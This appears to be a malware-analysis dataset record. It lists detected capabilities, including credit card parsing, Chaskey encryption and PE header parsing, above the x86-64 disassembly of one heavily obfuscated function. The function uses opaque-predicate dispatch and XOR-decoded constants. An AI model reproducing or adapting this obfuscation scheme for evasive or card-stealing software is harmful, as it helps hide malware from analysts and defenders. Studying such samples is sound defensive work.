Function at 0x1400fdf4b
Capabilities:
Authenticate hmac
Encrypt data using chaskey
Hash data using murmur3
Manually build aes constants
Parse credit card information
Parse pe header

Disassembly:
push rax
pushf
mov eax, 0x10b624ba
pushf
not eax
add eax, 0xe67af836
xor eax, 0xa7ea41a0
rol eax, 0x87
popf
pushf
not eax
add eax, 0xc1b4f644
xor eax, 0xaa6b888a
rol eax, 0xa8
popf
cmp eax, 0x29
jne 0x1400fdf88
popf
pop rax
jmp 0x1401007b2
cmp eax, 0x48
jne 0x1400fdf97
popf
pop rax
jmp 0x14010198b
cmp eax, 0x3f
jne 0x1400fdfa6
popf
pop rax
jmp 0x140101448
cmp eax, 1
jne 0x1400fdfb5
popf
pop rax
jmp 0x1400fe5e3
cmp eax, 0x4a
jne 0x1400fdfc4
popf
pop rax
jmp 0x140101cb7
cmp eax, 0x1a
jne 0x1400fdfd3
popf
pop rax
jmp 0x1400ffe9d
cmp eax, 0x44
jne 0x1400fdfe2
popf
pop rax
jmp 0x1401016fe
cmp eax, 0x31
jne 0x1400fdff1
popf
pop rax
jmp 0x140100b8a
cmp eax, 0x40
jne 0x1400fe000
popf
pop rax
jmp 0x14010147e
cmp eax, 8
jne 0x1400fe00f
popf
pop rax
jmp 0x1400fe9e3
cmp eax, 0x2a
jne 0x1400fe01e
popf
pop rax
jmp 0x140100830
cmp eax, 0x17
jne 0x1400fe02d
popf
pop rax
jmp 0x1400ffd47
cmp eax, 0x1c
jne 0x1400fe03c
popf
pop rax
jmp 0x140100027
cmp eax, 0x2e
jne 0x1400fe04b
popf
pop rax
jmp 0x140100a45
cmp eax, 0x4c
jne 0x1400fe05a
popf
pop rax
jmp 0x140102a13
cmp eax, 0x2b
jne 0x1400fe069
popf
pop rax
jmp 0x140100866
cmp eax, 0x1b
jne 0x1400fe078
popf
pop rax
jmp 0x1400fff4c
cmp eax, 0x2d
jne 0x1400fe087
popf
pop rax
jmp 0x1401009e9
cmp eax, 0x23
jne 0x1400fe096
popf
pop rax
jmp 0x140100445
cmp eax, 0x25
jne 0x1400fe0a5
popf
pop rax
jmp 0x140100567
cmp eax, 0x43
jne 0x1400fe0b4
popf
pop rax
jmp 0x140101652
cmp eax, 0x13
jne 0x1400fe0c3
popf
pop rax
jmp 0x1400ffaa6
cmp eax, 0x33
jne 0x1400fe0d2
popf
pop rax
jmp 0x140100ca7
cmp eax, 0x24
jne 0x1400fe0e1
popf
pop rax
jmp 0x14010050b
cmp eax, 0x1e
jne 0x1400fe0f0
popf
pop rax
jmp 0x1401000df
cmp eax, 0xc
jne 0x1400fe0ff
popf
pop rax
jmp 0x1400ff6a4
cmp eax, 0x26
jne 0x1400fe10e
popf
pop rax
jmp 0x14010060e
cmp eax, 0x27
jne 0x1400fe11d
popf
pop rax
jmp 0x1401006a0
cmp eax, 0x30
jne 0x1400fe12c
popf
pop rax
jmp 0x140100b3d
cmp eax, 0x10
jne 0x1400fe13b
popf
pop rax
jmp 0x1400ff8ff
cmp eax, 0x37
jne 0x1400fe14a
popf
pop rax
jmp 0x140100f54
cmp eax, 9
jne 0x1400fe159
popf
pop rax
jmp 0x1400fec1e
cmp eax, 0x39
jne 0x1400fe168
popf
pop rax
jmp 0x140101089
cmp eax, 0x16
jne 0x1400fe177
popf
pop rax
jmp 0x1400ffc93
cmp eax, 0x3b
jne 0x1400fe186
popf
pop rax
jmp 0x14010122e
cmp eax, 0x4b
jne 0x1400fe195
popf
pop rax
jmp 0x140101e57
cmp eax, 0x36
jne 0x1400fe1a4
popf
pop rax
jmp 0x140100ef6
cmp eax, 0x14
jne 0x1400fe1b3
popf
pop rax
jmp 0x1400ffb02
cmp eax, 0x46
jne 0x1400fe1c2
popf
pop rax
jmp 0x14010185d
cmp eax, 0x3d
jne 0x1400fe1d1
popf
pop rax
jmp 0x1401012f2
cmp eax, 2
jne 0x1400fe1e0
popf
pop rax
jmp 0x1400fe678
cmp eax, 0x47
jne 0x1400fe1ef
popf
pop rax
jmp 0x140101911
cmp eax, 0x41
jne 0x1400fe1fe
popf
pop rax
jmp 0x14010151f
cmp eax, 0x11
jne 0x1400fe20d
popf
pop rax
jmp 0x1400ff9c8
cmp eax, 0x35
jne 0x1400fe21c
popf
pop rax
jmp 0x140100de9
cmp eax, 0x3a
jne 0x1400fe22b
popf
pop rax
jmp 0x140101138
cmp eax, 0x12
jne 0x1400fe23a
popf
pop rax
jmp 0x1400ffa58
cmp eax, 0x21
jne 0x1400fe249
popf
pop rax
jmp 0x1401002a7
cmp eax, 0x38
jne 0x1400fe258
popf
pop rax
jmp 0x140100ffc
cmp eax, 0xb
jne 0x1400fe267
popf
pop rax
jmp 0x1400ff21e
cmp eax, 0xf
jne 0x1400fe276
popf
pop rax
jmp 0x1400ff8b2
cmp eax, 0x15
jne 0x1400fe285
popf
pop rax
jmp 0x1400ffbd0
cmp eax, 5
jne 0x1400fe294
popf
pop rax
jmp 0x1400fe8a3
cmp eax, 6
jne 0x1400fe2a3
popf
pop rax
jmp 0x1400fe903
cmp eax, 0x22
jne 0x1400fe2b2
popf
pop rax
jmp 0x1401003a4
cmp eax, 0x49
jne 0x1400fe2c1
popf
pop rax
jmp 0x140101b6e
cmp eax, 0x1f
jne 0x1400fe2d0
popf
pop rax
jmp 0x14010013e
cmp eax, 4
jne 0x1400fe2df
popf
pop rax
jmp 0x1400fe7db
cmp eax, 0x2f
jne 0x1400fe2ee
popf
pop rax
jmp 0x140100ada
cmp eax, 0x28
jne 0x1400fe2fd
popf
pop rax
jmp 0x140100767
cmp eax, 0x3e
jne 0x1400fe30c
popf
pop rax
jmp 0x140101393
cmp eax, 0x45
jne 0x1400fe31b
popf
pop rax
jmp 0x1401017c6
cmp eax, 0x2c
jne 0x1400fe32a
popf
pop rax
jmp 0x1401008dc
cmp eax, 3
jne 0x1400fe339
popf
pop rax
jmp 0x1400fe73c
cmp eax, 0x19
jne 0x1400fe348
popf
pop rax
jmp 0x1400ffe52
cmp eax, 0x1d
jne 0x1400fe357
popf
pop rax
jmp 0x140100070
cmp eax, 0x34
jne 0x1400fe366
popf
pop rax
jmp 0x140100d57
cmp eax, 0x32
jne 0x1400fe375
popf
pop rax
jmp 0x140100beb
cmp eax, 0xe
jne 0x1400fe384
popf
pop rax
jmp 0x1400ff852
cmp eax, 0x42
jne 0x1400fe393
popf
pop rax
jmp 0x1401015c9
cmp eax, 7
jne 0x1400fe3a2
popf
pop rax
jmp 0x1400fe93b
cmp eax, 0x20
jne 0x1400fe3b1
popf
pop rax
jmp 0x1401001f2
cmp eax, 0
jne 0x1400fe3c0
popf
pop rax
jmp 0x1400fe3fc
cmp eax, 0x3c
jne 0x1400fe3cf
popf
pop rax
jmp 0x140101293
cmp eax, 0xd
jne 0x1400fe3de
popf
pop rax
jmp 0x1400ff749
cmp eax, 0xa
jne 0x1400fe3ed
popf
pop rax
jmp 0x1400feeb2
cmp eax, 0x18
jne 0x1400fe3fc
popf
pop rax
jmp 0x1400ffe37
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x70]
sub rsp, 0x170
mov rax, qword [0x140092080]
xor rax, rsp
mov qword [rbp + 0x60], rax
mov rdi, rcx
movabs rax, 0xfef5600567ad6f37
pushf
not rax
add rax, 0x6666aacb
xor rax, 0x5e3bd8e0
rol rax, 0xec
popf
pushf
not rax
add rax, 0x52f8b3ed
xor rax, 0x5a203fdc
rol rax, 0xf3
popf
pushf
not rax
add rax, 0x6968a153
xor rax, 0x683f03a1
rol rax, 0x2f
popf
pushf
not rax
add rax, 0x40a72c41
xor rax, 0x6845a280
rol rax, 0xec
popf
mov qword [rsp + 0x30], rax
movabs rax, 0xad79d3834a4e2c66
pushf
not rax
add rax, 0x711b28b5
xor rax, 0x7703f938
rol rax, 0x36
popf
pushf
not rax
add rax, 0x6fb3ebd7
xor rax, 0x6eeefb8e
rol rax, 0x9d
popf
mov qword [rsp + 0x38], rax
movabs r14, 0x2bbe0af71cf9c95a
pushf
not r14
add r14, 0x478072dd
xor r14, 0x66bfb877
rol r14, 0x85
popf
pushf
not r14
add r14, 0x7c03936f
xor r14, 0x52a381c8
rol r14, 0xbd
popf
mov qword [rbp - 0x30], r14
movabs r15, 0x307176095b6c7e67
pushf
not r15
add r15, 0x71310631
xor r15, 0x4cefdfe0
rol r15, 0x2e
popf
pushf
not r15
add r15, 0x4d449f79
xor r15, 0x6b0bcf16
rol r15, 0x42
popf
mov qword [rbp - 0x28], r15
movdqa xmm0, xmmword [rsp + 0x30]
xorps xmm0, xmmword [rbp - 0x30]
movdqa xmmword [rsp + 0x30], xmm0
xorps xmm0, xmm0
movups xmmword [rbp - 0x10], xmm0
xor r12d, r12d
mov qword [rbp], r12
mov qword [rbp + 8], r12
lea rax, [rsp + 0x30]
mov r8, 0xffffffffffffffff
nop dword [rax]
push rax
pushf
mov eax, 0x6ac4350e
pushf
not eax
add eax, 0xc2019583
xor eax, 0xf8cca5f4
rol eax, 0x52
popf
pushf
not eax
add eax, 0xbbf5e34a
xor eax, 0xdb93b4d4
rol eax, 0xed
popf
pushf
not eax
add eax, 0xf8362e62
xor eax, 0x9799b16c
rol eax, 0xf0
popf
pushf
not eax
add eax, 0xe5a8b598
xor eax, 0xf5af4245
rol eax, 0x19
popf
jmp 0x1400fdf79
inc r8
cmp byte [rax + r8], r12b
jne 0x1400fe632
push rax
pushf
mov eax, 0xde63e4b
pushf
not eax
add eax, 0x8ff5f5fd
xor eax, 0xfba09ff9
rol eax, 0x97
popf
pushf
not eax
add eax, 0xb708b8a9
xor eax, 0xeed1f42d
rol eax, 0xc2
popf
pushf
not eax
add eax, 0xb6b422e1
xor eax, 0xc74bcdfb
rol eax, 0x69
popf
jmp 0x1400fdf79
push rax
pushf
mov eax, 0x5bdc5f4d
pushf
not eax
add eax, 0xd8a14897
xor eax, 0xc12ed20f
rol eax, 0x8b
popf
pushf
not eax
add eax, 0xaa03fd53
xor eax, 0x8f458fac
rol eax, 0xb8
popf
pushf
not eax
add eax, 0x972f67c8
xor eax, 0xe757fb7f
rol eax, 0x83
popf
jmp 0x1400fdf79
lea rdx, [rsp + 0x30]
lea rcx, [rbp - 0x10]
call fcn.1400faaf3
nop
lea rcx, [rbp - 0x10]
call fcn.1400d03d8
mov rsi, rax
mov rdx, qword [rbp + 8]
cmp rdx, 0xf
jbe 0x1400fe6e3
push rax
pushf
mov eax, 0x8430fca4
pushf
not eax
add eax, 0xc5194d0d
xor eax, 0xe2d53438
rol eax, 0x18
popf
pushf
not eax
add eax, 0x9d697094
xor eax, 0xc8a994c5
rol eax, 0xd3
popf
pushf
not eax
add eax, 0xeefc8e0f
xor eax, 0xafa46a99
rol eax, 0x4e
popf
jmp 0x1400fdf79
push rax
pushf
mov eax, 0x22404da
pushf
not eax
add eax, 0xa102abf1
xor eax, 0xc407469f
rol eax, 0xcf
popf
pushf
not eax
add eax, 0xf964984e
xor eax, 0xf8810e30
rol eax, 0xc6
popf
pushf
not eax
add eax, 0xabd39245
xor eax, 0x98aab62a
rol eax, 0x7e
popf
pushf
not eax
add eax, 0x866b1482
xor eax, 0xf739d989
rol eax, 0xb0
popf
jmp 0x1400fdf79
inc rdx
mov rcx, qword [rbp - 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400fe7a8
push rax
pushf
mov eax, 0x5268c91a
pushf
not eax
add eax, 0x9d335976
xor eax, 0xa891c053
rol eax, 2
popf
pushf
not eax
add eax, 0xefeebf07
xor eax, 0x8eea3d36
rol eax, 0x8e
popf
pushf
not eax
add eax, 0xb23ad2f0
xor eax, 0xeeb34b14
rol eax, 0xad
popf
pushf
not eax
add eax, 0xb2d4f5d3
xor eax, 0xd05cd3d4
rol eax, 5
popf
jmp 0x1400fdf79
push rax
pushf
mov eax, 0x37f7825f
pushf
not eax
add eax, 0xc795c3d9
xor eax, 0x800d6c87
rol eax, 0x1d
popf
pushf
not eax
add eax, 0xc0056d4c
xor eax, 0xfe130b8c
rol eax, 0x17
popf
jmp 0x1400fdf79
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400fe849
push rax
pushf
mov eax, 0x4241cfbd
pushf
not eax
add eax, 0xd85300e6
xor eax, 0xf9042056
rol eax, 0x82
popf
pushf
not eax
add eax, 0xa33c83ae
xor eax, 0xefc6f4d3
rol eax, 0xa7
popf
pushf
not eax
add eax, 0xfcab062a
xor eax, 0x92cfda6d
rol eax, 0x91
popf
pushf
not eax
add eax, 0xd2ff5e7b
xor eax, 0xc46d6f67
rol eax, 0xe8
popf
jmp 0x1400fdf79
push rax
pushf
mov eax, 0x8c2d3212
pushf
not eax
add eax, 0xeec0f674
xor eax, 0x986c6536
rol eax, 0xab
popf
pushf
not eax
add eax, 0xc9a15533
xor eax, 0xdf110c74
rol eax, 0xb
popf
pushf
not eax
add eax, 0xd768974f
xor eax, 0xa7e68837
rol eax, 0xcf
popf
pushf
not eax
add eax, 0x9ecf1262
xor eax, 0xd38df3a5
rol eax, 0x52
popf
jmp 0x1400fdf79
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400dff78
push rax
pushf
mov eax, 0x6d4ecf8e
pushf
not eax
add eax, 0xa4a2b80b
xor eax, 0xa5a85217
rol eax, 0x83
popf
pushf
not eax
add eax, 0x81bf3765
xor eax, 0xe9e16308
rol eax, 0x18
popf
jmp 0x1400fdf79
test rsi, rsi
je 0x1400fe98a
push rax
pushf
mov eax, 0x1e22c5d7
pushf
not eax
add eax, 0xaa71f67d
xor eax, 0xe5a6d6d3
rol eax, 0x2f
popf
pushf
not eax
add eax, 0xb8107dab
xor eax, 0xff04af1f
rol eax, 0xd1
popf
pushf
not eax
add eax, 0x8a692c38
xor eax, 0xba16b494
rol eax, 0xcb
popf
jmp 0x1400fdf79
push rax
pushf
mov eax, 0xdd91b693
pushf
not eax
add eax, 0xc982caeb
xor eax, 0xceaf2ad9
rol eax, 0x37
popf
pushf
not eax
add eax, 0x9156ecf7
xor eax, 0x906f4c7f
rol eax, 0x6d
popf
pushf
not eax
add eax, 0xf1481a6d
xor eax, 0xe80799db
rol eax, 4
popf
pushf
not eax
add eax, 0x8510a15e
xor eax, 0xda3a3197
rol eax, 0xab
popf
jmp 0x1400fdf79
movabs rax, 0xbb25603ef405e1cd
pushf
not rax
add rax, 0x6e113c36
xor rax, 0x5183d8db
rol rax, 0x86
popf
pushf
not rax
add rax, 0x64438957
xor rax, 0x4a3425cb
rol rax, 0x8a
popf
pushf
not rax
add rax, 0x7718f1d5
xor rax, 0x6fa58287
rol rax, 0x6b
popf
pushf
not rax
add rax, 0x68cd0580
xor rax, 0x72f96daa
rol rax, 0xec
popf
mov qword [rsp + 0x30], rax
movabs rbx, 0xc4c53eb24584d50b
pushf
not rbx
add rbx, 0x6e6ae642
xor rbx, 0x5310aaaf
rol rbx, 0x40
popf
pushf
not rbx
add rbx, 0x78f8c011
xor rbx, 0x7e9a3dd7
rol rbx, 0x8d
popf
mov qword [rsp + 0x38], rbx
mov qword [rbp - 0x30], r14
mov qword [rbp - 0x28], r15
movdqa xmm0, xmmword [rsp + 0x30]
xorps xmm0, xmmword [rbp - 0x30]
movdqa xmmword [rsp + 0x30], xmm0
movabs rax, 0x7434ee3fd626c8f2
pushf
not rax
add rax, 0x6b4f4fa7
xor rax, 0x6fac2c38
rol rax, 0x11
popf
pushf
not rax
add rax, 0x4b0e5823
xor rax, 0x40c434f5
rol rax, 0x42
popf
mov qword [rbp - 0x30], rax
movabs rax, 0x9f0f69cbd3200609
pushf
not rax
add rax, 0x5b9a126e
xor rax, 0x6f55900d
rol rax, 0xe7
popf
pushf
not rax
add rax, 0x68207d5b
xor rax, 0x43b584e9
rol rax, 0x97
popf
mov qword [rbp - 0x28], rax
mov qword [rbp - 0x50], r14
mov qword [rbp - 0x48], r15
movdqa xmm0, xmmword [rbp - 0x30]
xorps xmm0, xmmword [rbp - 0x50]
movdqa xmmword [rbp - 0x30], xmm0
movabs r13, 0xbff8ee9becaed54f
pushf
not r13
add r13, 0x4509e199
xor r13, 0x5fee0d47
rol r13, 0xf7
popf
pushf
not r13
add r13, 0x479612d9
xor r13, 0x54ccecd4
rol r13, 0x55
popf
mov qword [rbp - 0x50], r13
mov qword [rbp - 0x48], r15
mov qword [rbp - 0x10], r14
mov qword [rbp - 8], r15
movdqa xmm0, xmmword [rbp - 0x50]
xorps xmm0, xmmword [rbp - 0x10]
movdqa xmmword [rbp - 0x50], xmm0
lea rax, [rsp + 0x30]
mov qword [rsp + 0x20], rax
lea r9, [rbp - 0x30]
mov r8, rsi
lea rdx, [rbp - 0x50]
mov rcx, rdi
call fcn.140118449
mov r14, rax
test rax, rax
je 0x1400febeb
push rax
pushf
mov eax, 0x8d146b99
pushf
not eax
add eax, 0xd917f70d
xor eax, 0xdfcb7189
rol eax, 3
popf
pushf
not eax
add eax, 0x93dbeccc
xor eax, 0xf5941077
rol eax, 0x99
popf
jmp 0x1400fdf79
push rax
pushf
mov eax, 0x9537736c
pushf
not eax
add eax, 0x936520f9
xor eax, 0xca6b2155
rol eax, 0xfa
popf
pushf
not eax
add eax, 0xa49412e5
xor eax, 0xcfc2f8b3
rol eax, 0xa4
popf
jmp 0x1400fdf79
movabs rax, 0x3a3b231f4ebab10c
pushf
not rax
add rax, 0x4d9c641a
xor rax, 0x5641bd21
rol rax, 0xf8
popf
pushf
not rax
add rax, 0x57f28a29
xor rax, 0x5c7ee464
rol rax, 0x26
popf
pushf
not rax
add rax, 0x5c03bc42
xor rax, 0x722c2569
rol rax, 0x95
popf
pushf
not rax
add rax, 0x77e76ccd
xor rax, 0x5fd60797
rol rax, 0x40
popf
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], rbx
movabs rbx, 0xa97ff6f3a6d61b2a
pushf
not rbx
add rbx, 0x7bd8ed65
xor rbx, 0x6d0d7a70
rol rbx, 0x69
popf
pushf
not rbx
add rbx, 0x7847b5d9
xor rbx, 0x595f2253
rol rbx, 0xb6
popf
mov qword [rbp - 0x10], rbx
mov qword [rbp - 8], r15
movdqa xmm0, xmmword [rsp + 0x30]
xorps xmm0, xmmword [rbp - 0x10]
movdqa xmmword [rsp + 0x30], xmm0
movabs rax, 0xca924605a0c44662
pushf
not rax
add rax, 0x67627491
xor rax, 0x76b9d3b6
rol rax, 0x4c
popf
pushf
not rax
add rax, 0x543ef316
xor rax, 0x7e43c67b
rol rax, 0x34
popf
pushf
not rax
add rax, 0x4f3b3886
xor rax, 0x7bc5fed6
rol rax, 0x56
popf
pushf
not rax
add rax, 0x4f96601b
xor rax, 0x5ec7f511
rol rax, 0xb5
popf
mov qword [rbp - 0x30], rax
movabs rax, 0xf6d55602ff5b1c30
pushf
not rax
add rax, 0x4aa0f74d
xor rax, 0x6d83a771
rol rax, 0x14
popf
pushf
not rax
add rax, 0x7e34b19c
xor rax, 0x40722d5b
rol rax, 0xe8
popf
pushf
not rax
add rax, 0x57b8a69d
xor rax, 0x6b6b71c2
rol rax, 0x62
popf
pushf
not rax
add rax, 0x57b33042
xor rax, 0x5602c7f4
rol rax, 0xbb
popf
mov qword [rbp - 0x28], rax
mov qword [rbp - 0x10], rbx
mov qword [rbp - 8], r15
movdqa xmm0, xmmword [rbp - 0x30]
xorps xmm0, xmmword [rbp - 0x10]
movdqa xmmword [rbp - 0x30], xmm0
mov qword [rbp - 0x50], r13
mov qword [rbp - 0x48], r15
mov qword [rbp - 0x10], rbx
mov qword [rbp - 8], r15
movdqa xmm0, xmmword [rbp - 0x50]
xorps xmm0, xmmword [rbp - 0x10]
movdqa xmmword [rbp - 0x50], xmm0
lea rax, [rsp + 0x30]
mov qword [rsp + 0x20], rax
lea r9, [rbp - 0x30]
mov r8, rsi
lea rdx, [rbp - 0x50]
mov rcx, rdi
call fcn.140118449
mov r15, rax
test rax, rax
je 0x1400fee59
push rax
pushf
mov eax, 0x82157f5
pushf
not eax
add eax, 0xd1f73cb8
xor eax, 0x97fda399
rol eax, 0xb2
popf
pushf
not eax
add eax, 0x9423493b
xor eax, 0x85827f45
rol eax, 0xce
popf
pushf
not eax
add eax, 0x9bee7613
xor eax, 0xeff73944
rol eax, 3
popf
jmp 0x1400fdf79
push rax
pushf
mov eax, 0xc9532a19
pushf
not eax
add eax, 0xed1a8c92
xor eax, 0xb5a4c24f
rol eax, 0xc9
popf
pushf
not eax
add eax, 0xbd853db7
xor eax, 0xab5ef32a
rol eax, 3
popf
pushf
not eax
add eax, 0xfa115a57
xor eax, 0xff67701b
rol eax, 0x3f
popf
pushf
not eax
add eax, 0xcd229657
xor eax, 0xd5f477af
rol eax, 0x54
popf
jmp 0x1400fdf79
movabs rax, 0x5325e80354a2f1f5
pushf
not rax
add rax, 0x45bae89b
xor rax, 0x5697615f
rol rax, 0x6a
popf
pushf
not rax
add rax, 0x7be22c59
xor rax, 0x5111db8f
rol rax, 0xb3
popf
pushf
not rax
add rax, 0x512c0b1c
xor rax, 0x702011ed
rol rax, 0xc7
popf
pushf
not rax
add rax, 0x548cc2e6
xor rax, 0x417349cc
rol rax, 0x48
popf
mov qword [rbp - 0x30], rax
movabs rax, 0x8fe9bc1a0221a2e3
pushf
not rax
add rax, 0x65721eeb
xor rax, 0x425deb9f
rol rax, 0x39
popf
pushf
not rax
add rax, 0x68832c8d
xor rax, 0x6bb7d51f
rol rax, 0xbb
popf
pushf
not rax
add rax, 0x7b270d3f
xor rax, 0x48944a3d
rol rax, 0x6b
popf
mov qword [rbp - 0x28], rax
movabs rax, 0xc36a240f765071a7
pushf
not rax
add rax, 0x4bb8a14d
xor rax, 0x44d58c5e
rol rax, 0x52
popf
pushf
not rax
add rax, 0x53ab2277
xor rax, 0x710c0dc1
rol rax, 0x77
popf
mov qword [rbp - 0x20], rax
movabs rdx, 0x23760c6f0f008f6c
pushf
not rdx
add rdx, 0x710e372e
xor rdx, 0x502fe20f
rol rdx, 0x9a
popf
pushf
not rdx
add rdx, 0x581581dd
xor rdx, 0x562fbcfc
rol rdx, 0x23
popf
mov qword [rbp - 0x18], rdx
mov qword [rbp - 0x10], rbx
movabs rcx, 0xf3fce3ebb425f92d
pushf
not rcx
add rcx, 0x59ca725b
xor rcx, 0x5c417827
rol rcx, 0x89
popf
pushf
not rcx
add rcx, 0x69069cae
xor rcx, 0x5a510fa3
rol rcx, 0x3e
popf
pushf
not rcx
add rcx, 0x631fbb06
xor rcx, 0x52cd694b
rol rcx, 0xd4
popf
mov qword [rbp - 8], rcx
movabs r8, 0xff45ebafde649555
pushf
not r8
add r8, 0x4597f7ec
xor r8, 0x702f0fd9
rol r8, 0x35
popf
pushf
not r8
add r8, 0x55798fa0
xor r8, 0x4f5b545b
rol r8, 0x1f
popf
pushf
not r8
add r8, 0x7c90ea88
xor r8, 0x4e1c3aed
rol r8, 3
popf
mov qword [rbp], r8
mov qword [rbp + 8], rdx
movdqa xmm0, xmmword [rbp - 0x30]
xorps xmm0, xmmword [rbp - 0x10]
movdqa xmmword [rbp - 0x30], xmm0
movdqa xmm1, xmmword [rbp - 0x20]
xorps xmm1, xmmword [rbp]
movdqa xmmword [rbp - 0x20], xmm1
movabs rax, 0x15a9ea00b4a61d2f
pushf
not rax
add rax, 0x64710877
xor rax, 0x47de042d
rol rax, 0xc0
popf
pushf
not rax
add rax, 0x6f3692d3
xor rax, 0x6fd29010
rol rax, 0xb1
popf
mov qword [rbp - 0x50], rax
mov qword [rbp - 0x48], rcx
movabs rax, 0xbdb82bcd025330da
pushf
not rax
add rax, 0x691270eb
xor rax, 0x52827857
rol rax, 0x86
popf
pushf
not rax
add rax, 0x545f033e
xor rax, 0x55e75562
rol rax, 0xa9
popf
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rdx
mov qword [rbp - 0x10], rbx
mov qword [rbp - 8], rcx
mov qword [rbp], r8
mov qword [rbp + 8], rdx
movdqa xmm0, xmmword [rbp - 0x50]
xorps xmm0, xmmword [rbp - 0x10]
movdqa xmmword [rbp - 0x50], xmm0
movdqa xmm1, xmmword [rbp - 0x40]
xorps xmm1, xmmword [rbp]
movdqa xmmword [rbp - 0x40], xmm1
mov qword [rsp + 0x30], r13
mov qword [rsp + 0x38], rcx
mov qword [rbp - 0x10], rbx
mov qword [rbp - 8], rcx
movdqa xmm0, xmmword [rbp - 0x10]
xorps xmm0, xmmword [rsp + 0x30]
movdqa xmmword [rsp + 0x30], xmm0
lea rax, [rbp - 0x30]
mov qword [rsp + 0x20], rax
lea r9, [rbp - 0x50]
mov r8, rsi
lea rdx, [rsp + 0x30]
mov rcx, rdi
call fcn.140118449
mov rbx, rax
test rax, rax
jne 0x1400ff1eb
push rax
pushf
mov eax, 0x37b09852
pushf
not eax
add eax, 0xe3439bc2
xor eax, 0xeb567bf0
rol eax, 0x85
popf
pushf
not eax
add eax, 0xa2590f9d
xor eax, 0xd1a9fbb4
rol eax, 0xc5
popf
jmp 0x1400fdf79
push rax
pushf
mov eax, 0x349ecae4
pushf
not eax
add eax, 0xe9eb1205
xor eax, 0xb562cf82
rol eax, 0x37
popf
pushf
not eax
add eax, 0xda61a19b
xor eax, 0x89618956
rol eax, 0xba
popf
jmp 0x1400fdf79
movabs rax, 0x61f715dc88bc76f8
pushf
not rax
add rax, 0x59c69e1c
xor rax, 0x5f095db2
rol rax, 0x87
popf
pushf
not rax
add rax, 0x6a7a2342
xor rax, 0x4d3acb19
rol rax, 0xa9
popf
pushf
not rax
add rax, 0x5a7d8c2d
xor rax, 0x7fd011c1
rol rax, 0x86
popf
pushf
not rax
add rax, 0x741354bf
xor rax, 0x4339f66e
rol rax, 0xd2
popf
mov qword [rbp - 0x30], rax
movabs rax, 0xb0ce6c20782c9765
pushf
not rax
add rax, 0x6ab69791
xor rax, 0x7b94ad91
rol rax, 0x58
popf
pushf
not rax
add rax, 0x48e15a28
xor rax, 0x65f5dc4c
rol rax, 0xab
popf
pushf
not rax
add rax, 0x4e25664d
xor rax, 0x5052b490
rol rax, 0x9d
popf
mov qword [rbp - 0x28], rax
movabs rax, 0x76e13638a33aa532
pushf
not rax
add rax, 0x6f19df3e
xor rax, 0x7f90875c
rol rax, 0xa6
popf
pushf
not rax
add rax, 0x5ed86ef9
xor rax, 0x5ffb34a2
rol rax, 0x5f
popf
pushf
not rax
add rax, 0x71e36743
xor rax, 0x5806fb30
rol rax, 0x2b
popf
mov qword [rbp - 0x20], rax
movabs r8, 0x4c0e34dbe13ef9e7
pushf
not r8
add r8, 0x6d67a511
xor r8, 0x79d29e80
rol r8, 0x95
popf
pushf
not r8
add r8, 0x5d5073bb
xor r8, 0x75e5d264
rol r8, 0x43
popf
pushf
not r8
add r8, 0x53967a4e
xor r8, 0x661da230
rol r8, 0x26
popf
pushf
not r8
add r8, 0x57407fc6
xor r8, 0x539594b3
rol r8, 0x68
popf
mov qword [rbp - 0x18], r8
movabs rdx, 0x84a567075e5286ae
pushf
not rdx
add rdx, 0x465110b9
xor rdx, 0x4bbc500b
rol rdx, 0x40
popf
pushf
not rdx
add rdx, 0x7a0b586e
xor rdx, 0x4e485116
rol rdx, 0x3b
popf
pushf
not rdx
add rdx, 0x5edf0605
xor rdx, 0x786c8a71
rol rdx, 0xb0
popf
mov qword [rbp - 0x10], rdx
movabs rcx, 0xd2614f0d765985ca
pushf
not rcx
add rcx, 0x7787d756
xor rcx, 0x6ea49f2e
rol rcx, 0x11
popf
pushf
not rcx
add rcx, 0x448f5cd5
xor rcx, 0x5f956215
rol rcx, 0xe6
popf
pushf
not rcx
add rcx, 0x72d87ab0
xor rcx, 0x4f012571
rol rcx, 0x40
popf
pushf
not rcx
add rcx, 0x44be137d
xor rcx, 0x771c8bfb
rol rcx, 0xd8
popf
mov qword [rbp - 8], rcx
movabs r9, 0xee5bc90717028e1a
pushf
not r9
add r9, 0x6e4ebf36
xor r9, 0x65b46534
rol r9, 0xc
popf
pushf
not r9
add r9, 0x5c7de042
xor r9, 0x60dbcc2e
rol r9, 0xdc
popf
pushf
not r9
add r9, 0x43ea0e09
xor r9, 0x66476525
rol r9, 0x7c
popf
mov qword [rbp], r9
mov qword [rbp + 8], r8
movdqa xmm0, xmmword [rbp - 0x10]
xorps xmm0, xmmword [rbp - 0x30]
movdqa xmmword [rbp - 0x30], xmm0
movdqa xmm1, xmmword [rbp]
xorps xmm1, xmmword [rbp - 0x20]
movdqa xmmword [rbp - 0x20], xmm1
movabs rax, 0xd7733e76a70343a9
pushf
not rax
add rax, 0x762f8076
xor rax, 0x5f5a30ee
rol rax, 0xcf
popf
pushf
not rax
add rax, 0x6233a197
xor rax, 0x58bc2946
rol rax, 0xd
popf
mov qword [rbp - 0x50], rax
mov qword [rbp - 0x48], rcx
movabs rax, 0x17a085627d9df806
pushf
not rax
add rax, 0x5297ebc4
xor rax, 0x631e3400
rol rax, 0xf9
popf
pushf
not rax
add rax, 0x6b075ee9
xor rax, 0x5185b1e7
rol rax, 0x19
popf
pushf
not rax
add rax, 0x673c5cc4
xor rax, 0x56ff3a7c
rol rax, 0x3b
popf
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], r8
mov qword [rbp - 0x10], rdx
mov qword [rbp - 8], rcx
mov qword [rbp], r9
mov qword [rbp + 8], r8
movdqa xmm0, xmmword [rbp - 0x10]
xorps xmm0, xmmword [rbp - 0x50]
movdqa xmmword [rbp - 0x50], xmm0
movdqa xmm1, xmmword [rbp]
xorps xmm1, xmmword [rbp - 0x40]
movdqa xmmword [rbp - 0x40], xmm1
mov qword [rsp + 0x30], r13
mov qword [rsp + 0x38], rcx
